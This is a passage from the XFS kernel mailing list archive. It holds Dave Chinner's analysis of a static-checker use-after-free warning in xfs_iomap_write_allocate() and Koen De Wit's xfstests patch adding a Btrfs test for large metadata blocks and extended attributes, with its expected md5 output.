commit for the linux kernel titled: > > Btrfs: fix data corruption when reading/updating compressed extents > (https://urldefense.proofpoint.com/v1/url?u=https://patchwork.kernel.org/patch/3610391/&k=ZVNjlDMF0FElm4dQtryO4A%3D%3D%0A&r=cKCbChRKsMpTX8ybrSkonQ%3D%3D%0A&m=JRaF%2BUY%2F2k%2BBfF9nTx3Iwl5JZWNCwew%2BI%2Fw%2B%2BfuDrgc%3D%0A&s=4a033ea8f3cf1f28794e90fcf16ea553766bb1ea83e10fc904182a8f56435eef) > Ran with and without the corresponding fix and all worked as expected. You can add Reviewed-by: Josef Bacik Thanks, Josef From david@fromorbit.com Mon Feb 10 15:34:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 993FC7F3F for ; Mon, 10 Feb 2014 15:34:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79A9E304067 for ; Mon, 10 Feb 2014 13:34:18 -0800 (PST) X-ASG-Debug-ID: 1392068054-04cb6c6de225a340001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id zFGZLWWZbVa0Sm9M for ; Mon, 10 Feb 2014 13:34:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au4HAFxF+VJ5LGaB/2dsb2JhbABRCIMMOIMGt2iFUIEWF3SCJQEBAQMBAQEBJBMcGAsYAxgJNAUTEgMhARKHfQcOyT0XFoxpgShWB4Q4BJgqik+HUoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 08:04:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCyUT-0003Jw-KZ; Tue, 11 Feb 2014 08:34:09 +1100 Date: Tue, 11 Feb 2014 08:34:09 +1100 From: Dave Chinner To: Jeff Liu , Dan Carpenter Cc: xfs@oss.sgi.com Subject: Re: potential use after free in xfs_iomap_write_allocate() Message-ID: <20140210213409.GS13647@dastard> X-ASG-Orig-Subj: Re: potential use after free in xfs_iomap_write_allocate() MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210145041.GC26776@mwanda> <52F8E086.8030805@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392068054 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 [ reformatted two replies to put the context back in that is needed to answer questions ] On Mon, Feb 10, 2014 at 10:21:58PM +0800, Jeff Liu wrote: > On 02/10 2014 18:36 PM, Dan Carpenter wrote: > > There is a static checker warning in xfs_iomap_write_allocate(). It's > > sort of old so probably it's a false positive. > > > > fs/xfs/xfs_iomap.c:798 xfs_iomap_write_allocate() > > warn: 'tp' was already freed. > > > > fs/xfs/xfs_iomap.c > > 677 > > 678 while (count_fsb != 0) { > > > > There are some paths where if (count_fsb == 0) then "tp" is free. > > I can not see a call pach would introduce "count_fsb == 0" because we only > call xfs_iomap_write_allocate() in extent delayed allocation context, > that is the count_fsb should be >= 1. > > I am confused. That's a while condition and not an if condition. > On line 792 we do: > > count_fsb -= imap->br_blockcount; > > I assume you saw that, and it's still a false positive but I just want > to be sure. (count_fsb == 0) is not the usual loop termination case here. In fact, it probably never terminates through that at all - the loop is there to ensure that we do allocations for the entire range that the delayed allocation extent covers. Indeed, we do a checks on count_fsb within the loop: > > 679 /* > > 680 * Set up a transaction with which to allocate the > > 681 * backing store for the file. Do allocations in a > > 682 * loop until we get some space in the range we are > > 683 * interested in. The other space that might be allocated > > 684 * is in the delayed allocation extent on which we sit > > 685 * but before our buffer starts. > > 686 */ > > 687 > > 688 nimaps = 0; > > 689 while (nimaps == 0) { > > 690 tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); > > 691 tp->t_flags |= XFS_TRANS_RESERVE; > > 692 nres = XFS_EXTENTADD_SPACE_RES(mp, XFS_DATA_FORK); > > 693 error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, > > 694 nres, 0); > > 695 if (error) { > > 696 xfs_trans_cancel(tp, 0); > > 697 return XFS_ERROR(error); > > 698 } > > 699 xfs_ilock(ip, XFS_ILOCK_EXCL); > > 700 xfs_trans_ijoin(tp, ip, 0); > > 701 > > 702 xfs_bmap_init(&free_list, &first_block); > > 703 > > 704 /* > > 705 * it is possible that the extents have changed since > > 706 * we did the read call as we dropped the ilock for a > > 707 * while. We have to be careful about truncates or hole > > 708 * punchs here - we are not allowed to allocate > > 709 * non-delalloc blocks here. > > 710 * > > 711 * The only protection against truncation is the pages > > 712 * for the range we are being asked to convert are > > 713 * locked and hence a truncate will block on them > > 714 * first. > > 715 * > > 716 * As a result, if we go beyond the range we really > > 717 * need and hit an delalloc extent boundary followed by > > 718 * a hole while we have excess blocks in the map, we > > 719 * will fill the hole incorrectly and overrun the > > 720 * transaction reservation. > > 721 * > > 722 * Using a single map prevents this as we are forced to > > 723 * check each map we look for overlap with the desired > > 724 * range and abort as soon as we find it. Also, given > > 725 * that we only return a single map, having one beyond > > 726 * what we can return is probably a bit silly. > > 727 * > > 728 * We also need to check that we don't go beyond EOF; > > 729 * this is a truncate optimisation as a truncate sets > > 730 * the new file size before block on the pages we > > 731 * currently have locked under writeback. Because they > > 732 * are about to be tossed, we don't need to write them > > 733 * back.... > > 734 */ > > 735 nimaps = 1; > > 736 end_fsb = XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); > > 737 error = xfs_bmap_last_offset(NULL, ip, &last_block, > > 738 XFS_DATA_FORK); > > 739 if (error) > > 740 goto trans_cancel; > > 741 > > 742 last_block = XFS_FILEOFF_MAX(last_block, end_fsb); > > 743 if ((map_start_fsb + count_fsb) > last_block) { > > 744 count_fsb = last_block - map_start_fsb; > > 745 if (count_fsb == 0) { > > 746 error = EAGAIN; > > 747 goto trans_cancel; > > 748 } > > 749 } e.g. where we handle truncate races and trim count_fsb back to the EOF - if it's zero we drop out with a valid transaction handle. > > 750 > > 751 /* > > 752 * From this point onwards we overwrite the imap > > 753 * pointer that the caller gave to us. > > 754 */ > > 755 error = xfs_bmapi_write(tp, ip, map_start_fsb, > > 756 count_fsb, > > 757 XFS_BMAPI_STACK_SWITCH, > > 758 &first_block, 1, > > 759 imap, &nimaps, &free_list); > > 760 if (error) > > 761 goto trans_cancel; > > 762 > > 763 error = xfs_bmap_finish(&tp, &free_list, &committed); > > 764 if (error) > > 765 goto trans_cancel; > > 766 > > 767 error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > > 768 if (error) > > 769 goto error0; > > > > The call to xfs_trans_commit() frees "tp". > > Yep, seems to me this is correct because if no error is occurred > in xfs_trans_commit(), tp is freed up internally, otherwise it > would be freed in error0 path. And in finishing the transaction, we exit then inner loop because nimaps == 1 because we successfully did an allocation whose range is contained in imap... > > > > 770 > > 771 xfs_iunlock(ip, XFS_ILOCK_EXCL); > > 772 } > > 773 > > 774 /* > > 775 * See if we were able to allocate an extent that > > 776 * covers at least part of the callers request > > 777 */ > > 778 if (!(imap->br_startblock || XFS_IS_REALTIME_INODE(ip))) > > 779 return xfs_alert_fsblock_zero(ip, imap); > > 780 > > 781 if ((offset_fsb >= imap->br_startoff) && > > 782 (offset_fsb < (imap->br_startoff + > > 783 imap->br_blockcount))) { > > 784 XFS_STATS_INC(xs_xstrat_quick); > > 785 return 0; > > 786 } And here, if the allocation overlaps the range we passed in, we return. IOWs, this is the common return path, and so we almost never go past this point in the function. IOWs, we never get to the (count_fsb == 0) case because we exit on the first allocation that overlaps the requested range. > > 787 > > 788 /* > > 789 * So far we have not mapped the requested part of the > > 790 * file, just surrounding data, try again. > > 791 */ > > 792 count_fsb -= imap->br_blockcount; > > 793 map_start_fsb = imap->br_startoff + imap->br_blockcount; > > 794 } > > 795 > > 796 trans_cancel: > > 797 xfs_bmap_cancel(&free_list); > > 798 xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); > > ^^ > > We dereference "tp" in xfs_trans_cancel(). > > Maybe I missed something, but the current logic looks correct to me. :) Well, I think that the checker has found an actual logic problem - if we get to count_fsb == 0 then we'll have issues, but the code is structured such that we never hit that logic. In theory, gcc should be warning about tp and free_list potentially being used uninitialised, as if we start with the initial condition count_fsb == 0 then we never initialise tp or free_list at all..... Cheers, Dave. > > Thanks, > -Jeff > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > On Mon, Feb 10, 2014 at 05:50:41PM +0300, Dan Carpenter wrote: > On Mon, Feb 10, 2014 at 10:21:58PM +0800, Jeff Liu wrote: > > > > On 02/10 2014 18:36 PM, Dan Carpenter wrote: > > > There is a static checker warning in xfs_iomap_write_allocate(). It's > > > sort of old so probably it's a false positive. > > > > > > fs/xfs/xfs_iomap.c:798 xfs_iomap_write_allocate() > > > warn: 'tp' was already freed. > > > > > > fs/xfs/xfs_iomap.c > > > 677 > > > 678 while (count_fsb != 0) { > > > > > > There are some paths where if (count_fsb == 0) then "tp" is free. > > > > I can not see a call pach would introduce "count_fsb == 0" because we only > > call xfs_iomap_write_allocate() in extent delayed allocation context, > > that is the count_fsb should be >= 1. > > > regards, > dan carpenter > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- Dave Chinner david@fromorbit.com From koen.de.wit@oracle.com Mon Feb 10 15:39:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4A2797F50 for ; Mon, 10 Feb 2014 15:39:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4228AC00B for ; Mon, 10 Feb 2014 13:39:34 -0800 (PST) X-ASG-Debug-ID: 1392068372-04cb6c6de025a540001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id EGBp83LfQWQxsJgz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 13:39:32 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1ALdV2P017150 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 10 Feb 2014 21:39:31 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1ALdUsu024921 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 10 Feb 2014 21:39:30 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1ALdUW1018051; Mon, 10 Feb 2014 21:39:30 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Feb 2014 13:39:29 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks Date: Mon, 10 Feb 2014 22:39:22 +0100 X-ASG-Orig-Subj: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks Message-Id: <1392068362-14049-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392068372 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145004 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests Btrfs filesystems with all possible metadata block sizes, by setting large extended attributes on files. Signed-off-by: Koen De Wit --- v1->v2: - Fix indentation: 8 spaces instead of 4 - Move _scratch_unmount to end of loop, add _check_scratch_fs - Sending failure messages of mkfs.btrfs to output instead of $seqres.full v2->v3: - Sending the md5sums of the retrieved attribute values to the output instead of comparing them to the md5sum of the original value - Always testing attribute values of 4, 8, 12, ... up to 64 KB regardless of the pagesize, to make the golden output independent of the pagesize - Sending the output of mkfs.btrfs with illegal leafsize to $seqres.full and checking the return code - Using more uniform variable names: pagesize/pagesize_kb, leafsize/ leafsize_kb, attrsize/attrsize_kb diff --git a/tests/btrfs/036 b/tests/btrfs/036 new file mode 100644 index 0000000..fb3e987 --- /dev/null +++ b/tests/btrfs/036 @@ -0,0 +1,125 @@ +#! /bin/bash +# FS QA Test No. 036 +# +# Tests large metadata blocks in btrfs, which allows large extended +# attributes. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_math +_need_to_be_root + +rm -f $seqres.full + +pagesize=`$here/src/feature -s` +pagesize_kb=`expr $pagesize / 1024` + +# Test all valid leafsizes +for attrsize_kb in `seq 4 4 64`; do + # The leafsize should be a multiple of the pagesize, equal to or + # greater than the attribute size. + leafsize_kb=$(_math "($attrsize_kb + $pagesize_kb - 1) / \ + $pagesize_kb * $pagesize_kb"); + echo "Testing with attrsize ${attrsize_kb}K :" + + _scratch_mkfs -l ${leafsize_kb}K >/dev/null + _scratch_mount + # Calculate the size of the extended attribute value, leaving + # 512 bytes for other metadata. + attrsize=`expr $attrsize_kb \* 1024 - 512` + + touch $SCRATCH_MNT/emptyfile + # smallfile will be inlined, bigfile not. + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile \ + >/dev/null + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile \ + >/dev/null + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink + + files=(emptyfile smallfile bigfile bigfile_softlink) + chars=(a b c d) + for i in `seq 0 1 3`; do + char=${chars[$i]} + file=$SCRATCH_MNT/${files[$i]} + lnkfile=${file}_hardlink + ln $file $lnkfile + xattr_value=`head -c $attrsize < /dev/zero \ + | tr '\0' $char` + + echo -n "$xattr_value" | md5sum + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file + ${ATTR_PROG} -Lq -g attr_$char $file | md5sum + ${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum + done + + # Test attributes with a size larger than the leafsize. + # Should result in an error. + if [ "$leafsize_kb" -lt "64" ]; then + # Bash command lines cannot be larger than 64K + # characters, so we do not test attribute values + # with a size >64KB. + attrsize=`expr $attrsize_kb \* 1024 + 512` + xattr_value=`head -c $attrsize < /dev/zero | tr '\0' x` + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ + $SCRATCH_MNT/emptyfile 2>&1 | _filter_scratch + fi + + _scratch_unmount >/dev/null 2>&1 + _check_scratch_fs +done + +_scratch_mount + +# Illegal attribute name (more than 256 characters) +attr_name=`head -c 260 < /dev/zero | tr '\0' n` +${ATTR_PROG} -s $attr_name -V attribute_name_too_big \ + $SCRATCH_MNT/emptyfile 2>&1 | head -n 1 + +_scratch_unmount + +_test_illegal_leafsize() { + _scratch_mkfs -l $1 >>$seqres.full 2>&1 + [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \ + "leafsize option, mkfs should have failed." +} + +_test_illegal_leafsize 0 +_test_illegal_leafsize 5678 +_test_illegal_leafsize `expr $pagesize / 2 + $pagesize` +_test_illegal_leafsize 128K +_test_illegal_leafsize K + +# success, all done +status=0 +exit diff --git a/tests/btrfs/036.out b/tests/btrfs/036.out new file mode 100644 index 0000000..6aac130 --- /dev/null +++ b/tests/btrfs/036.out @@ -0,0 +1,240 @@ +QA output created by 036 +Testing with attrsize 4K : +cfd9804701b4688eea03a591e8080a4a - +cfd9804701b4688eea03a591e8080a4a - +cfd9804701b4688eea03a591e8080a4a - +f03e80010f6ec85f22d0878a1bf0cefb - +f03e80010f6ec85f22d0878a1bf0cefb - +f03e80010f6ec85f22d0878a1bf0cefb - +dc6989943b336af30eb1450db5a088a9 - +dc6989943b336af30eb1450db5a088a9 - +dc6989943b336af30eb1450db5a088a9 - +fe7f043e550b24e407c858525738421d - +fe7f043e550b24e407c858525738421d - +fe7f043e550b24e407c858525738421d - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 8K : +81b19af3532798bc48f87bf1663c1f8a - +81b19af3532798bc48f87bf1663c1f8a - +81b19af3532798bc48f87bf1663c1f8a - +50c2c3e1880fa668e7fcf0412212c75a - +50c2c3e1880fa668e7fcf0412212c75a - +50c2c3e1880fa668e7fcf0412212c75a - +16f4983a3054146d17db7ffbdd822eac - +16f4983a3054146d17db7ffbdd822eac - +16f4983a3054146d17db7ffbdd822eac - +a473f6f08fb49a87d29709ac96bc00cb - +a473f6f08fb49a87d29709ac96bc00cb - +a473f6f08fb49a87d29709ac96bc00cb - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 12K : +e995dd85d70f986870c04792c994ffb3 - +e995dd85d70f986870c04792c994ffb3 - +e995dd85d70f986870c04792c994ffb3 - +3e97576dc431352918f9d9dde79bab69 - +3e97576dc431352918f9d9dde79bab69 - +3e97576dc431352918f9d9dde79bab69 - +d959722407bb883024367c2dd68988a5 - +d959722407bb883024367c2dd68988a5 - +d959722407bb883024367c2dd68988a5 - +80dd272def753eb780914c53668ababa - +80dd272def753eb780914c53668ababa - +80dd272def753eb780914c53668ababa - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 16K : +901bb72491d6c24ff6af5ead1d8a4141 - +901bb72491d6c24ff6af5ead1d8a4141 - +901bb72491d6c24ff6af5ead1d8a4141 - +d50b90fe7c85c8e78c9ef63ceed1218d - +d50b90fe7c85c8e78c9ef63ceed1218d - +d50b90fe7c85c8e78c9ef63ceed1218d - +feee9c22b75703f34bc03c02b0ff0255 - +feee9c22b75703f34bc03c02b0ff0255 - +feee9c22b75703f34bc03c02b0ff0255 - +d289bbec3b5b240e1f5522a13b56ae9f - +d289bbec3b5b240e1f5522a13b56ae9f - +d289bbec3b5b240e1f5522a13b56ae9f - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 20K : +3d2483c71acf8dad094169035ad4662d - +3d2483c71acf8dad094169035ad4662d - +3d2483c71acf8dad094169035ad4662d - +4e537f6df10c2cba8eee122d4248a615 - +4e537f6df10c2cba8eee122d4248a615 - +4e537f6df10c2cba8eee122d4248a615 - +9a364d89bc488808d56b57c3e3a848c4 - +9a364d89bc488808d56b57c3e3a848c4 - +9a364d89bc488808d56b57c3e3a848c4 - +936fdedc29145f173748298a31bd564e - +936fdedc29145f173748298a31bd564e - +936fdedc29145f173748298a31bd564e - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 24K : +9075147c38947bb2e1521f6b29245749 - +9075147c38947bb2e1521f6b29245749 - +9075147c38947bb2e1521f6b29245749 - +54941aad3b3e0d0ac6c1370378201fbf - +54941aad3b3e0d0ac6c1370378201fbf - +54941aad3b3e0d0ac6c1370378201fbf - +c07a6a58a22cf0c52d53f06765202ed3 - +c07a6a58a22cf0c52d53f06765202ed3 - +c07a6a58a22cf0c52d53f06765202ed3 - +5e3c0d921883a94d544bcb1c3aeef7d2 - +5e3c0d921883a94d544bcb1c3aeef7d2 - +5e3c0d921883a94d544bcb1c3aeef7d2 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 28K : +9da5fef85e68ac1e6aeb4cd372fdd218 - +9da5fef85e68ac1e6aeb4cd372fdd218 - +9da5fef85e68ac1e6aeb4cd372fdd218 - +932269d973eb814eb823ab2a5e353d78 - +932269d973eb814eb823ab2a5e353d78 - +932269d973eb814eb823ab2a5e353d78 - +435ae2a64d978ce450b1eb459c3c0b7a - +435ae2a64d978ce450b1eb459c3c0b7a - +435ae2a64d978ce450b1eb459c3c0b7a - +65e4160b1151c04965bdaae14e0b834b - +65e4160b1151c04965bdaae14e0b834b - +65e4160b1151c04965bdaae14e0b834b - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 32K : +ec100845bd08f7ad9d2c2bce2f7c7b64 - +ec100845bd08f7ad9d2c2bce2f7c7b64 - +ec100845bd08f7ad9d2c2bce2f7c7b64 - +f45dda2932aa8679beb4262a6f164965 - +f45dda2932aa8679beb4262a6f164965 - +f45dda2932aa8679beb4262a6f164965 - +a45ed994e1f6004234e66df90232bcc9 - +a45ed994e1f6004234e66df90232bcc9 - +a45ed994e1f6004234e66df90232bcc9 - +68daf7d11e5ff45cd48dbced8a1b7a85 - +68daf7d11e5ff45cd48dbced8a1b7a85 - +68daf7d11e5ff45cd48dbced8a1b7a85 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 36K : +91b3d0a8b79035956ae6fdcfa5761776 - +91b3d0a8b79035956ae6fdcfa5761776 - +91b3d0a8b79035956ae6fdcfa5761776 - +a3351a3c98d8c221aab72cab327dc343 - +a3351a3c98d8c221aab72cab327dc343 - +a3351a3c98d8c221aab72cab327dc343 - +96cdadef6d37f3836744b559729185d1 - +96cdadef6d37f3836744b559729185d1 - +96cdadef6d37f3836744b559729185d1 - +f04862abfea4d4d0b2881e786ac3144b - +f04862abfea4d4d0b2881e786ac3144b - +f04862abfea4d4d0b2881e786ac3144b - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 40K : +a272b29abb9aa246fb60a9afaed970f9 - +a272b29abb9aa246fb60a9afaed970f9 - +a272b29abb9aa246fb60a9afaed970f9 - +d82b172365236cb3f521a879fd5a5bb3 - +d82b172365236cb3f521a879fd5a5bb3 - +d82b172365236cb3f521a879fd5a5bb3 - +fdf1e421de5b3fe7757110850deec43c - +fdf1e421de5b3fe7757110850deec43c - +fdf1e421de5b3fe7757110850deec43c - +b869d7ec21cbce959d90c15784590410 - +b869d7ec21cbce959d90c15784590410 - +b869d7ec21cbce959d90c15784590410 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 44K : +da753f920d68c902d5326bd483a94c32 - +da753f920d68c902d5326bd483a94c32 - +da753f920d68c902d5326bd483a94c32 - +f7ce0fc468a710fe5fb871f5b35338aa - +f7ce0fc468a710fe5fb871f5b35338aa - +f7ce0fc468a710fe5fb871f5b35338aa - +715dac824dbaff0b473450694f6ec780 - +715dac824dbaff0b473450694f6ec780 - +715dac824dbaff0b473450694f6ec780 - +abf7c2ce395c83a66d8b8c3c5e6730d9 - +abf7c2ce395c83a66d8b8c3c5e6730d9 - +abf7c2ce395c83a66d8b8c3c5e6730d9 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 48K : +15d180e7faf17e68afb6d57d2e116ca9 - +15d180e7faf17e68afb6d57d2e116ca9 - +15d180e7faf17e68afb6d57d2e116ca9 - +8058f6e97a59ef8dc03c66c748ff5bed - +8058f6e97a59ef8dc03c66c748ff5bed - +8058f6e97a59ef8dc03c66c748ff5bed - +10f3af2c5730bb08b2cda5faadbf2ae7 - +10f3af2c5730bb08b2cda5faadbf2ae7 - +10f3af2c5730bb08b2cda5faadbf2ae7 - +73121869378f8230c76d80629f1166e8 - +73121869378f8230c76d80629f1166e8 - +73121869378f8230c76d80629f1166e8 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 52K : +9570259c04209a9b72000b00f663527c - +9570259c04209a9b72000b00f663527c - +9570259c04209a9b72000b00f663527c - +bbfc9b5f82705eae11f4e8cb15efe07f - +bbfc9b5f82705eae11f4e8cb15efe07f - +bbfc9b5f82705eae11f4e8cb15efe07f - +dbca53553dea30b8f16718757571a116 - +dbca53553dea30b8f16718757571a116 - +dbca53553dea30b8f16718757571a116 - +e67b60ac37c9329b5749f5e9c2e380fa - +e67b60ac37c9329b5749f5e9c2e380fa - +e67b60ac37c9329b5749f5e9c2e380fa - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 56K : +4bf9ed3371aca147b46753b9ccedc297 - +4bf9ed3371aca147b46753b9ccedc297 - +4bf9ed3371aca147b46753b9ccedc297 - +748eddd2c06dcac7f02f5f097ced469d - +748eddd2c06dcac7f02f5f097ced469d - +748eddd2c06dcac7f02f5f097ced469d - +5e55fbe60506992f3fc3f6e555886d19 - +5e55fbe60506992f3fc3f6e555886d19 - +5e55fbe60506992f3fc3f6e555886d19 - +c1473db0315b89f5df01783d073e2250 - +c1473db0315b89f5df01783d073e2250 - +c1473db0315b89f5df01783d073e2250 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 60K : +8334b6a2716fac34d1154d08345e65ce - +8334b6a2716fac34d1154d08345e65ce - +8334b6a2716fac34d1154d08345e65ce - +195db321d491c6fc981400e39571f30b - +195db321d491c6fc981400e39571f30b - +195db321d491c6fc981400e39571f30b - +aa1e05b84420bcf236a40a51f5c4da72 - +aa1e05b84420bcf236a40a51f5c4da72 - +aa1e05b84420bcf236a40a51f5c4da72 - +28c02926de8948b7e19a09ab9a05ba97 - +28c02926de8948b7e19a09ab9a05ba97 - +28c02926de8948b7e19a09ab9a05ba97 - +attr_set: No space left on device +Could not set "attr_toobig" for SCRATCH_MNT/emptyfile +Testing with attrsize 64K : +1a7d174602addecc31942ad67d3bb873 - +1a7d174602addecc31942ad67d3bb873 - +1a7d174602addecc31942ad67d3bb873 - +9f6513ac33d6b0e0686dd4abedb1bf55 - +9f6513ac33d6b0e0686dd4abedb1bf55 - +9f6513ac33d6b0e0686dd4abedb1bf55 - +fd628ec085a2cd3b05ab59b12cf0f498 - +fd628ec085a2cd3b05ab59b12cf0f498 - +fd628ec085a2cd3b05ab59b12cf0f498 - +dfdd3a6559e239a5728434fdd5f779c6 - +dfdd3a6559e239a5728434fdd5f779c6 - +dfdd3a6559e239a5728434fdd5f779c6 - +attr_set: Invalid argument diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..2ca2225 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +036 auto quick -- 1.7.1 From david@fromorbit.com Mon Feb 10 15:39:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com 